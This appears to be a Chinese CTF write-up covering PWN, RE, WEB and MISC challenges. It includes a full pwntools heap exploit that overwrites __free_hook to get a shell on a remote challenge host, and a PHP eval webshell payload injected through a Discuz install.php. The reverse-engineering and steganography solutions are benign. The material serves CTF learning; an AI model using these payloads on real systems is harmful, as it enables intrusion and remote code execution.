在1这个位置，有不同程度的对data + 5指针进行修改，且在修改之前有个检测
在0这个位置，有不同程序的对data + 5的数据进行修改，且修改的内容受到了调控
**漏洞点**
代码中存在的两个检测如下图
**check65写错了，按照我的理解，应该是如果data + 6 > data + 5那么就退出，这就导致了接下来漏洞的发生，程序可以通过减少data +
5来向前溢出。**
**如何利用？**
首先可以观察到一个特征就是，在这个switch中，返回值就代表着这个操作所需的参数长度，且以字节为单位，这可以方便我们编写程序和了解程序流程。
**第一次构造**
我们先考虑第一次的code要如何构造，第一次构造我们需要泄露libc，而我们又有show函数，所以我们要考虑如何绕过tcache，让一个堆块进入到unsorted
bin中，如果要绕过tcache的话，那么意味着我们要让tcache填满，但是对于这道题来说，
**我们一次性最多只能申请一个堆块，如果要申请下一个必须先把这个堆块释放掉。**
所以我们只能考虑如何来一次修改tcache struct中的counts数组对应idx内容大于7。
首先我们可以通过向前溢出一部分距离（受限于最多执行0x100的code），但是溢出的距离不足以来修改到tcache
struct的内容，但是我想到了一个巧妙的方法。
因为data结构实际上也是储存在堆中的，在我们向前溢出的过程中，也可以溢出到那部分的内容，但是我们只能修改一次（因为我们要修改的是 **data + 5**
，而向前溢出的指针也是这个），所以我考虑修改 **data + 5**
的倒数第二个字节，让他减少1，这样就相当于减少了0x100（32个操作，64个字节），在这样的方法下，我们足以碰到counts数组，接下来只需要修改它为
**0xFF** ，那么我们在接下来free的时候就不会进入到tcahce而是进入到unsorted
bin，然后我们再次申请一块在tcache中不存在的堆块，那么就会去unsorted bin中申请，这个申请得到的数据上存在unsorted
bin残留的main_arena指针，我们通过再次申请然后show一下就可以拿到libc上的地址了。
在这之后，我发现距离0x100还有一段空间，于是我决定不浪费这些空间，在第一段payload中干一些第二段的事情。
**第二次构造**
由于有在第一次构造的一些帮忙，在第二次构造的时候，实际上我们使用的空间是大于0x100的。所以我们可以考虑直接往前溢出，直接溢出到 **tcache
struct** ，然后修改某个的内容为 **__free_hook** 的地址，再次申请就可以拿出来 **__free_hook**
的地址了，拿到之后我们把他改成system，再free一次，就可以getshell了。
但是好像还发现一个问题，我们没有在堆块写入system执行内容，解决这个问题非常容易，只需要在 **free_hook –
0x8的地方开始申请地址，那么就它之前0x8字节写入shell的内容即可，后0x8个字节来修改free_hook** 。
**总结**
这道题的难点主要在于要理清程序的结构，合理的调试和清晰的分析。最终才能够构造出巧妙的exp来getshell。个人感觉这道题出的很不错，学到了！。
**PS:这道题虽然是glibc2.27，但其实是新版本的2.27，对于tcache来说增加了key用于检测double
free。建议调试过程中使用2.29来调试，与这个版本几乎没差别。**
**EXP**
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
def write5(data):
all = p8(0)
l = len(data)
if l == 1:
all += p8(0x10)
elif l == 2:
all += p8(0x20)
elif l == 4:
all += p8(0x30)
elif l == 8:
all += p8(0x40)
all += data
return all
def sub_helper(l):
all = p8(1)
if l == 1:
all += p8(0x10)
elif l == 2:
all += p8(0x20)
elif l == 4:
all += p8(0x30)
elif l == 8:
all += p8(0x40)
return all
def show():
return p8(5) + p8(2)
def add(size):
return p8(6) + p8(size)
def free():
return p8(7)
def brk():
return p8(8)
def sub5_size(size):
all = ""
while size != 0:
if size >= 8:
all += sub_helper(8)
size -= 8
elif size >= 4:
all += sub_helper(4)
size -= 4
elif size >= 2:
all += sub_helper(2)
size -= 2
else:
all += sub_helper(1)
size -= 1
return all
def sub_one():
return p8(4) + p8(0x10)
# r = process('./virtual')
r = remote('111.231.70.44', 28112)
# part 1
payload = add(0x88) + free() + add(0x18) + free() + add(0x88) + sub5_size(0x127) + sub_one() + sub5_size(
0x172) + write5('\xFF') + free() + add(0x28) + show() + sub5_size(0x100) + brk()
r.sendafter("code :", payload)
# leak libc
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 224 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
log.success("libc_base: " + hex(libc_base))
free_hook_addr = libc_base + libc.dump('__free_hook')
log.success("free_hook_addr: " + hex(free_hook_addr))
system_addr = libc_base + libc.dump('system')
log.success("system_addr: " + hex(system_addr))
# part 2
payload2 = sub5_size(0x260) + write5(p64(free_hook_addr - 0x8)) + free() + add(0x18) + write5('/bin/sh\x00') + write5(
p64(system_addr)) + free() + brk()
r.sendafter("code :", payload2)
r.interactive()
## RE
### A-Maze-In
有个迷宫，但是我也没搞懂怎么样的迷宫，根据程序逻辑，写了个DFS就秒掉了（带了个记忆化搜索）。
#include <cstdio>
unsigned char ida_chars[] =
{
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00,
0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00,
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01,
0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00,
0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00,
0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00,
0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00,
0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01,
0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01,
0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01,
0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00,
0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00,
0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00,
0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00,
0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00,
0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01,
0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00,
0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01,
0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00,
0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
char way[34];
int vis[35][35][35];
int dfs(int x, int v5, int v4)
{
if (vis[x][v5][v4]) return vis[x][v5][v4];
if (x == 34)
{
if (v5 == 7 && v4 == 4)
return vis[x][v5][v4] = 1;
return vis[x][v5][v4] = 2;
}
if (ida_chars[32 * v5 + 4 * v4] == 1)
if (dfs(x + 1, v5 - 1, v4) == 1)
{
way[x] = 'U';
return vis[x][v5][v4] = 1;
}
if (ida_chars[32 * v5 + 1 + 4 * v4] == 1)
if (dfs(x + 1, v5 + 1, v4) == 1)
{
way[x] = 'D';
return vis[x][v5][v4] = 1;
}
if (ida_chars[32 * v5 + 2 + 4 * v4] == 1)
if (dfs(x + 1, v5, v4 - 1) == 1)
{
way[x] = 'L';
return vis[x][v5][v4] = 1;
}
if (ida_chars[32 * v5 + 3 + 4 * v4] == 1)
if (dfs(x + 1, v5, v4 + 1) == 1)
{
way[x] = 'R';
return vis[x][v5][v4] = 1;
}
return vis[x][v5][v4] = 2;
}
int main()
{
dfs(0, 0, 3);
for (int i = 0; i <= 33; i++)
printf("%c", way[i]);
}
### Matara Okina
又到了我最喜欢的APK环节了（毕竟这个调试环节弄了这么久）。
可惜这道题没用到，拖到JEB看了一下，发现了下面这个函数
看到有个加密环节，虽然不知道怎么调用到这个函数，但是先把这个加密给处理了吧。就是一个简单的对称异或加密:
#include <cstdio>
#include <cstring>
int main()
{
char ans[] = "@lgvjocWzihodmXov[EWO";
for (int idx = 0, x; idx < (strlen(ans) + 1) / 2; idx = x)
{
x = idx + 1;
ans[idx] = ans[idx] ^ x;
int v3 = strlen(ans) - 1 - idx;
ans[v3] = ans[v3] ^ x;
}
printf("%s", ans);
return 0;
}
得到内容： **Android_scheme_is_FUN**
搜索 **scheme** ，发现这是一种安卓中有的一种交互协议，用于从浏览器中跳转到这个应用，配置信息在 **Manifest** 中
找到关键信息：
<data android:host="p4th" android:path="/70/1nput" android:scheme="sh0w"/>
构造连接： **sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN**
在模拟器的浏览器中访问，就会跳转到应用中执行，并且给出了flag格式
这里input就真是整个链接…所以逆向so也没啥用。
**flag{sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN_1635b71e036d}**
### anniu
下载之后有一个灰色的按钮，用一些控件助手，把按钮解禁即可得到flag。
### warmup
第一次做这种数独的题目，观察程序逻辑，发现是16*16的数独。
谷歌找到一个解数独的网站：<https://sudokuspoiler.azurewebsites.net/Sudoku/Sudoku16>
发现网站是要一个一个输入，有点慢，利用fd抓包之后，发现网站上传了一个数独的数据。
编写程序输出内容（0xFF相当于为空，也就是要填的，再把输出内容”256”替换成””即可）：
#include <cstdio>
#include <cstring>
unsigned char byte_40A0[16][16] =
{
0x08, 0x0E, 0xFF, 0x0C, 0x09, 0x0D, 0xFF, 0x01, 0x0A, 0x0F,
0x03, 0x0B, 0x00, 0x02, 0xFF, 0x04, 0x01, 0x06, 0x03, 0x02,
0x05, 0x0A, 0x07, 0x00, 0x08, 0x09, 0xFF, 0x04, 0x0F, 0x0E,
0x0B, 0x0D, 0x0A, 0x00, 0xFF, 0x0D, 0x04, 0x0F, 0x03, 0x0B,
0x07, 0x05, 0x0E, 0x02, 0x06, 0x08, 0x0C, 0x01, 0x04, 0x0B,
0x05, 0x0F, 0xFF, 0x02, 0xFF, 0x0C, 0x06, 0x0D, 0x01, 0x00,
0xFF, 0x0A, 0x03, 0x09, 0x02, 0x0A, 0xFF, 0x03, 0x0D, 0x00,
0x0B, 0x05, 0x0C, 0xFF, 0x09, 0x01, 0xFF, 0x0F, 0x07, 0x0E,
0x0D, 0x07, 0x0C, 0x0B, 0x0F, 0x0E, 0x0A, 0x08, 0x00, 0xFF,
0x05, 0x03, 0x09, 0x06, 0x01, 0x02, 0xFF, 0x01, 0x0F, 0xFF,
0x0C, 0x09, 0x04, 0x06, 0x02, 0x0E, 0x0D, 0xFF, 0xFF, 0x03,
0x0A, 0xFF, 0x09, 0x04, 0x06, 0x0E, 0x02, 0x07, 0x01, 0x03,
0x0B, 0x08, 0x0A, 0x0F, 0x05, 0xFF, 0x00, 0x0C, 0xFF, 0x03,
0x0A, 0x07, 0x0E, 0x08, 0x0C, 0x04, 0x09, 0xFF, 0x00, 0x0D,
0x02, 0xFF, 0x06, 0xFF, 0x0C, 0x09, 0x01, 0xFF, 0x0B, 0x03,
0x0F, 0x0D, 0x0E, 0x0A, 0xFF, 0xFF, 0x08, 0x00, 0x04, 0x07,
0x06, 0x0D, 0x00, 0x08, 0x0A, 0x01, 0x02, 0xFF, 0xFF, 0x07,
0x04, 0x05, 0x0C, 0x0B, 0xFF, 0x0F, 0x0B, 0x02, 0x0E, 0xFF,
0x00, 0xFF, 0x05, 0xFF, 0x0F, 0x01, 0xFF, 0x0C, 0x0A, 0x09,
0x0D, 0x03, 0xFF, 0x0F, 0x0B, 0xFF, 0x03, 0x0C, 0xFF, 0x0E,
0x05, 0xFF, 0xFF, 0x09, 0xFF, 0x04, 0x08, 0x0A, 0x0E, 0x08,
0xFF, 0xFF, 0x07, 0x05, 0x0D, 0x0F, 0x04, 0x03, 0xFF, 0xFF,
0x01, 0x0C, 0x09, 0x00, 0xFF, 0x05, 0x0D, 0x09, 0x06, 0x04,
0x08, 0x0A, 0x01, 0x0C, 0x0F, 0x0E, 0xFF, 0x07, 0x02, 0x0B,
0x03, 0xFF, 0x04, 0x0A, 0xFF, 0x0B, 0x09, 0x02, 0x0D, 0x00,
0xFF, 0x08, 0x0E, 0xFF, 0x0F, 0x06
};
int main()
{
for (int i = 0; i < 16; i++)
{
for (int j = 0; j < 16; j++)
printf("\"%d\",", byte_40A0[i][j] + 1);
}
return 0;
}
fd改包之后，重新发送，就得到结果了。
得到的数据和题目要求的格式不太一样（0-9）（a-f），手动转换实在是太慢了，编写程序自动转换：
#include <cstdio>
int main()
{
for(;;)
{
int t;
scanf("%d", &t);
if (t <= 10) printf("%d", t - 1);
if (t > 10) printf("%c", t - 11 + 'a');
}
return 0;
}
**flag{765c98e78644507b8dfb1552693e467871026d26ba03c175}**
### **e**
这道题因为ida调试不起来一直没做，没想到这么简单。
用gdb可以调试，用gdbserver来与ida连接（重度ida依赖，做pwn的时候就是重度gdb依赖）
先下个断点
启动调试，跟进去
一直单步到 **jmp eax** ，跳转到另一个区域
进入到 **第二个call**
这个函数的代码相当复杂，但是我们需要注意的就是什么时候输出 **NONONO**
观察到：
如果进入下面的分支就会输出 **NONONO** ，所以猜测上面的分支就是会输出正确的flag。
所以如何让v6 == true呢？
发现v6就在我下的断点那一行赋值了（红色那行），点进去那个调用的函数
盲测是strcmp。
由于是gdbserver调试，所以不能直接在伪代码看内容，所以我们转回汇编
发现流程图也是非常清晰的分支，在x86就是栈传参，所以eax就是比较的内容之一，查看数据
尝试输入 **DDDJJJBBBRRREEE**
成功！
**flag{DDDJJJBBBRRREEE}**
### UnrealFlag
这道题虽然拿了一血，但其实还可以更快，因为找工具用了大部分的时间。
主要思路是参照：<https://bbs.pediy.com/thread-255724.htm>。这篇文章的
用IDA载入关键文件 **FindFlag-Win64-Shipping.exe** ，查找字符串关键词 **index offset** （时间有点久）
双击进去之后按X查找引用
发现有两个引用，我们都过去看看，并且都下断点
这个if有点长，找到他上面的下断点，其实大概猜到这里已经不是了。
设置调试，并且跑起来
程序成功跑起来了，接下来就是一些盲目的寻找
发现图中黄色的函数里面有点玄机
因为他这个函数内部似乎有打印key的一个异常输出
我们可以走到他附近看看，由于这块的伪代码效果不是很好，我们直接去汇编看，每一个调用函数都进去看看
会走到这样的一个函数
发现这里有个memcpy，而且copy的size也是0x20，虽然这部分没有走到，不过我大胆地猜测这里应该就是用于前面异常报错的部分，所以查看对应的
**a1** 内容，先按 ***** 设置为数组
并且 **Shift + E** 导出
在之前的教程里面用的工具在这道题里面似乎不行，所以我一直没搞清楚要用什么来解包，然后查看 **umodel**
的官网，本来想找找怎么输入AES的格式是怎么样的，也没有找到，最后出题人告诉我AES输入的格式是前导0x的16进制字符串（其他软件都是base64）
还有就是记得要用最新版的
<https://github.com/ProgramingClassroom/UModel>
选择PAK包之后，输入AES秘钥
就可以成功解包了
找到 **flag.uasset** ，并双击打开，这是一个材质文件
但是似乎有些变形了，有些字符看不清楚，不过多试几次就能试出来。
## WEB
### 虎山行
非预期，似乎直接RCE了，看到文件的时候我还一脸懵逼。
刚开始对这个系统进行了搜索，发现了先知社区的一篇文章，不过有些繁琐，而且也不能直接RCE，故手动寻找了这个系统的文件。
发现系统存在文件 **install.php**
来让我们可以对文件进行手动的安装，所以就尝试对这个文件进行分析，之前也了解过dz论坛的一些漏洞，发现在安装文件中出现问题的可能性还是蛮大的，经过分析发现下处漏洞：
发现在安装文件的此处，没有对输入的信息进行任何的过滤，这导致我们可以直接通过输入的内容来往该文件中写入shell，例如我们可以构造payload，使得数据内容闭合，并且把后续的内容都注释掉。
wjh');eval($_POST[a]);//
之后使用蚁剑进行连接
看到挺多莫名奇妙的文件的，估计是因为我是非预期的缘故。
## MISC
### 十八般兵器
下载之后得到一个压缩包文件，发现压缩包存在密码，从旁边的注释信息得到密码进行尝试
解压后得到文件：
猜测是对文件的隐写，且因为其实jpg文件，尝试用JPHS来得到隐藏内容
对每个兵器都进行读取：
可以得到多个文件，把下面的数字都连接起来，前十种兵器对应10进制，后八种对应8进制，
最后转字符串信息就可以得到
**flag{CTFshow_10_bA_Ban_b1ng_Q1}**
### 请问大吉杯的签到是在这里签吗
下载得到一个二维码文件，尝试扫码，发现没有重要信息。
于是尝试观察文件，发现在末尾处有一个PK压缩包，尝试解压，有多个套娃，得到全部的二维码之后，对其内容进行分析，发现在第二个二维码处有提示，于是猜测第二个二维码存在隐写。
通过 **Stegsolve** 打开进行查看
发现在0通道和1通道切换的时候，图片内容会变化，猜测有隐写内容，但是查看无果。
再继续查看的时候，发现这些内容都被显示出来
猪圈密码解密，得到
**flag{dajiadoaidjb}**
### 牛年大吉
丢进binwalk跑了一下，发现有一张图片和一个压缩包信息。
使用
binwalk -D png test.vhd
binwalk -D 7-zip test.vhd
进行分离，得到压缩包和图片：
修改其扩展名使得能被windows识别：
解压压缩包需要密码，密码在图片头里面，说实话这真的不好猜
解压后得到
**flag{CTFshow_The_Year_of_the_Ox}**
### 碑寺六十四卦
发现文件很大，相对于size来说不匹配，猜测有隐写。
根据提示把图片反色，并查看
发现存在一个png文件，导出后查看
把开头的无用内容删除后，得到：
发现文件
猜测从上到下依次对应着 **base64编码** 的索引，之前UNCTF2020也考过一道类似的。
手动对应了一下，发现开头就是flag，加强了信心。
最后得到
**flag{Le1bnizD0uShuoH4o}**
### AA86
刚开始无思路，在仔细看题目之后，决定去装个DOS看看，发现内容可以在DOS中执行，最后得到flag
**flag{https://utf-8.jp/public/sas/index.html}** | 社区文章 |
Subsets and Splits